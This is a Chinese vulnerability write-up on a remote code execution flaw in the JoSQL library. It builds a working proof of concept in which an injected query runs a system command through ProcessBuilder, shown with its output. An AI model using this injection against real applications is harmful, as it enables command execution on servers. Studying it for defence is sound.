JoSQL内存数据库远程代码执行漏洞(含EXP)

JoSQL内存数据库远程代码执行漏洞(含EXP)

JoSQL全称SQL for Java Objects,提供了应用SQL语句的Java对象的集合的能力开发,JoSQL提供了搜索,排序,group等对Java对象的集合进行类似SQL的查询应该应用的功能。

例如,查找所有在2004年内修改过的html文件:

SELECT * FROM   java.io.File WHERE  name $LIKE "%.html" AND    toDate (lastModified) BETWEEN toDate ('01-12-2004') 
AND    toDate ('31-12-2004')

java中使用JoSQL:

// 获取 java.io.File 列表.
List myObjs = getMyObjects ();

// 创建查询对象.
Query q = new Query ();

// Parse the SQL you are going to use, it is assumed here that 
// "myObjs" contains instances of "java.io.File".
q.parse ("SELECT name,length " +
         "FROM   java.io.File " +
         "WHERE  fileExtension (name) = :fileExt " +
         "ORDER BY length DESC, name " +
         "EXECUTE ON RESULTS avg (:_allobjs, length) avgLength");

// 绑定参数类似于预编译模式设置参数
q.setVariable ("fileExt", "java");

// 执行查询.
QueryResults qr = q.execute (myObjs);
  
// Get the average length, this is a save value, the result
// of executing the call "avg (:_allobjs, length)", it is saved against
// key: "avgLength".
Map saveValues = qr.getSaveValues ();
Number avg = (Number) saveValues.get ("avgLength");

// 循环读取结果
List res = qr.getResults ();

for (int i = 0; i < res.size (); i++)
{

    // This time there is a List for each row, index 0 holds the name of 
    // the file that matched, index 1 holds the length.
    List r = (List) res.get (i);

    System.out.println ("NAME: " + r.get (0));
    System.out.println ("LENGTH: " + r.get (1) + ", AVG: " + avg);

}

具体其他详细操作可参考:http://josql.sourceforge.net

下面分析下远程代码造成的原因

1.首先写一个demo查询从User列表中查询:

package josql;
 
import java.util.ArrayList;
import java.util.List;
 
import org.josql.Query;
import org.josql.QueryResults;
 
public class Demo {
    /**
     * user对象
     *
     * @author nike
     *
     */
    class User {
        private String username;
        private String password;
 
        public String getUsername() {
            return username;
        }
 
        public void setUsername(String username) {
            this.username = username;
        }
 
        public String getPassword() {
            return password;
        }
 
        public void setPassword(String password) {
            this.password = password;
        }
 
        public void help() {
            System.out.println("help method:"+username + "|" + password);
        }
    }
 
    /**
     * 获取user列表用来作为查询集
     *
     * @return
     */
    public List<User> getObjs() {
        List<User> users = new ArrayList<User>();
        User a = new User();
        a.setUsername("nike");
        a.setPassword("cb39554898fc98f9329d37242045e728");
 
        User b = new User();
        b.setUsername("smith");
        b.setPassword("12345678");
 
        users.add(a);
        users.add(b);
        return users;
    }
 
    public void query() {
        List<User> myObjs = getObjs();
        Query q = new Query();
        try {
            q.parse("SELECT * from josql.Demo$User");
            QueryResults qr = q.execute(myObjs);
            @SuppressWarnings("unchecked")
            List<User> res = qr.getResults();
            for (int i = 0; i < res.size(); i++) {
                User user = (User)res.get(i);
                System.out.println("username:"+user.username+"|password:"+user.password);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
    public static void main(String[] args) {
        Demo demo = new Demo();
        demo.query();
    }
}

上面代码运行结果是:

username:nike|password:cb39554898fc98f9329d37242045e728
username:smith|password:12345678

现在将sql语句换成:

package josql;
 
import java.util.ArrayList;
import java.util.List;
 
import org.josql.Query;
import org.josql.QueryResults;
 
public class Demo {
    /**
     * user对象
     *
     * @author nike
     *
     */
    class User {
        private String username;
        private String password;
 
        public String getUsername() {
            return username;
        }
 
        public void setUsername(String username) {
            this.username = username;
        }
 
        public String getPassword() {
            return password;
        }
 
        public void setPassword(String password) {
            this.password = password;
        }
 
        public void help() {
            System.out.println("help method:"+username + "|" + password);
        }
    }
 
    /**
     * 获取user列表用来作为查询集
     *
     * @return
     */
    public List<User> getObjs() {
        List<User> users = new ArrayList<User>();
        User a = new User();
        a.setUsername("nike");
        a.setPassword("cb39554898fc98f9329d37242045e728");
 
        User b = new User();
        b.setUsername("smith");
        b.setPassword("12345678");
 
        users.add(a);
        users.add(b);
        return users;
    }
 
    public void query() {
        List<User> myObjs = getObjs();
        Query q = new Query();
        try {
            q.parse("SELECT help from josql.Demo$User");
            QueryResults qr = q.execute(myObjs);
            @SuppressWarnings("unchecked")
            List<User> res = qr.getResults();
            for (int i = 0; i < res.size(); i++) {
                System.out.println(res.get(i));
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
    public static void main(String[] args) {
        Demo demo = new Demo();
        demo.query();
    }
}

则运行结果:

help method:nike|cb39554898fc98f9329d37242045e728
help method:smith|12345678 [null] [null]

从上面结果就可以看出help方法被调用了,从而可以得知joSQL可以调用无参函数(关键)。

2.joSQL存在一个特性,即可以通过new来构造一个新的对象比如:

package josql;
 
import java.util.ArrayList;
import java.util.List;
 
import org.josql.Query;
import org.josql.QueryResults;
 
public class Demo {
    /**
     * user对象
     *
     * @author nike
     *
     */
    class User {
        private String username;
        private String password;
 
        public String getUsername() {
            return username;
        }
 
        public void setUsername(String username) {
            this.username = username;
        }
 
        public String getPassword() {
            return password;
        }
 
        public void setPassword(String password) {
            this.password = password;
        }
 
        public void help() {
            System.out.println("help method:"+username + "|" + password);
        }
    }
 
    /**
     * 获取user列表用来作为查询集
     *
     * @return
     */
    public List<User> getObjs() {
        List<User> users = new ArrayList<User>();
        User a = new User();
        a.setUsername("nike");
        a.setPassword("cb39554898fc98f9329d37242045e728");
 
        User b = new User();
        b.setUsername("smith");
        b.setPassword("12345678");
 
        users.add(a);
        users.add(b);
        return users;
    }
 
    public void query() {
        List<User> myObjs = getObjs();
        Query q = new Query();
        try {
            q.parse("SELECT new josql.Demo() from josql.Demo$User");
            QueryResults qr = q.execute(myObjs);
            @SuppressWarnings("unchecked")
            List<User> res = qr.getResults();
            for (int i = 0; i < res.size(); i++) {
                System.out.println(res.get(i));
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
    public static void main(String[] args) {
        Demo demo = new Demo();
        demo.query();
    }
}

执行结果:

josql.Demo@447ffd8e josql.Demo@2edf98c4

3.joSQL另外一个特性就是可以通过EXECUTE ON支持函数式编程。其执行结果可以通过变量作为其他查询参数来调用

语法:EXECUTE ON ALL | RESULTS | GROUP_BY_RESULTS Expression [ , Expression ]* [ [ AS ] Alias ]
例子:

package josql; import java.util.ArrayList;import java.util.List; import org.josql.Query;import org.josql.QueryResults; public class Demo {    /**     * user对象     *     * @author nike     *     */    class User {        private String username;        private String password;         public String getUsername() {            return username;        }         public void setUsername(String username) {            this.username = username;        }         public String getPassword() {            return password;        }         public void setPassword(String password) {            this.password = password;        }         public void help() {            System.out.println("help method:"+username + "|" + password);        }    }     /**     * 获取user列表用来作为查询集     *     * @return     */    public List<User> getObjs() {        List<User> users = new ArrayList<User>();        User a = new User();        a.setUsername("nike");        a.setPassword("cb39554898fc98f9329d37242045e728");         User b = new User();        b.setUsername("smith");        b.setPassword("12345678");         users.add(a);        users.add(b);        return users;    }     public void query() {        List<User> myObjs = getObjs();        Query q = new Query();        try {            q.parse("SELECT username from josql.Demo$User group by @a EXECUTE ON ALL new josql.Demo() AS a");            QueryResults qr = q.execute(myObjs);            @SuppressWarnings("unchecked")            List<User> res = qr.getResults();            for (int i = 0; i < res.size(); i++) {                System.out.println(res.get(i));            }        } catch (Exception e) {            e.printStackTrace();        }    }     public static void main(String[] args) {        Demo demo = new Demo();        demo.query();    }}

执行结果:

[josql.Demo@4094de98]

从结果中可以看到Demo成功被创建。

结合第1,2,3点可以执行无参函数,则我们可以调用ProcessBuilder的start可以执行系统命令。

package josql; import java.util.ArrayList;import java.util.List; import org.josql.Query;import org.josql.QueryResults; public class Demo {    /**     * user对象     *     * @author nike     *     */    class User {        private String username;        private String password;         public String getUsername() {            return username;        }         public void setUsername(String username) {            this.username = username;        }         public String getPassword() {            return password;        }         public void setPassword(String password) {            this.password = password;        }         public void help() {            System.out.println("help method:"+username + "|" + password);        }    }     /**     * 获取user列表用来作为查询集     *     * @return     */    public List<User> getObjs() {        List<User> users = new ArrayList<User>();        User a = new User();        a.setUsername("nike");        a.setPassword("cb39554898fc98f9329d37242045e728");         User b = new User();        b.setUsername("smith");        b.setPassword("12345678");         users.add(a);        users.add(b);        return users;    }     public void query() {        List<User> myObjs = getObjs();        Query q = new Query();        try {            q.parse("SELECT username from josql.Demo$User where 1=1  group by @c.readLine,@c.readLine EXECUTE ON ALL new java.lang.ProcessBuilder(['id']) AS a, "                    + "new java.io.InputStreamReader(@a.start.getInputStream) as b, new java.io.BufferedReader(@b) as c");            QueryResults qr = q.execute(myObjs);            @SuppressWarnings("unchecked")            List<User> res = qr.getResults();            for (int i = 0; i < res.size(); i++) {                System.out.println(res.get(i));            }        } catch (Exception e) {            e.printStackTrace();        }    }     public static void main(String[] args) {        Demo demo = new Demo();        demo.query();    }}

执行结果:

[uid=501(nike) gid=20(staff) 
groups=20(staff),501(access_bpf),401(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh),  null] [null, null]

则系统命令成功被执行。

利用场景

当某处查询利用了joSQL并且存在注入,则通过这个漏洞直接调用系统命令。

[作者/安恒信息(企业账号),转自FreeBuf黑客与极客(FreeBuf.COM)]

原创文章,作者:stanley,如若转载,请注明出处:http://www.178linux.com/724

(0)
上一篇 2015-03-06 10:40
下一篇 2015-03-06 15:39

相关推荐

  • 逻辑卷(LVM)管理实例详解

    LVM基本术语 下面是LVM需要了解的基本术语:    物理卷(PV physical volume): 它可以是物理硬盘上的分区,也可以是整块物理硬盘;  卷组(VG volume group): 建立在物理卷之上,一个卷组至少包括一个物理卷,可以动态增删物理卷;  逻辑卷(LV logical volume):建立…

    Linux干货 2016-09-01
  • Linux命令格式及基础命令使用

    Linux命令格式command [选项] [参数]其中 选项 以 – 开始,多个选项可用一个-连起来,如ls -l -a 与ls -la相同。根据命令的不同,参数分为可选的或必须的。ifconfig格式:ifconfig [网络设备] [参数]命令功能:命令用来查看和配置网络设备。当网络环境发生改变时可通过此命令对网络进行相应的配置。示例 :i…

    Linux干货 2018-03-03
  • 小巧精悍——常见文本处理工具用法及技巧总结

    小巧精悍——常见文本处理工具用法及技巧总结 Linux最重要的哲学思想就是:一切皆文件。可见文件及文件操作在Linux当中是多么的重要。在Linux系统中我们也会经常用到各种文本文件处理的操作,熟练使用这些小巧精悍的文本处理工具,在关键时刻往往展现非凡的神奇功效。常见文本处理小工具:cat、hexdump、nl、less、head、tail、cut、tr、r…

    Linux干货 2016-11-05
  • Grep 文本搜索工具与正则表达式

            grep (缩写来自Globally search a Regular Expression and Print)是一种强大的文本搜索工具,它能使用特定模式匹配(包括正则表达式)搜索文本,并默认输出匹配行。Grep在实际中对于我们的工作有着很大的作用,用于对文件的搜索,通过由正则表达式字符以及…

    2017-04-15
  • lvs简介

    一、 LVS简介         LVS是Linux Virtual Server的简称,也就是Linux虚拟服务器, 是一个由章文嵩博士发起的自由软件项目,它的官方站点是www.linuxvirtualserver.org。现在LVS已经是 Linux标准内核的一部分,在Linux2.4…

    Linux干货 2016-10-30
  • 从Linux小白到大牛——与狼共舞的日子12(上)

    马哥教育网络班21期+第12周课程练习 1、请描述一次完整的http请求处理过程; 1)建立或处理连接:客户端发送http请求报文,服务器端接收或拒绝请求; 2)接收请求:服务器端接收来自客户端对某些资源的请求; 3)处理请求:服务器端解析客户端请求报文,获取客户端请求的资源及请求方法等信息; 4)访问资源:服务器端获取客户端请求的资源; 5)构建响应报文;…

    Linux干货 2016-12-26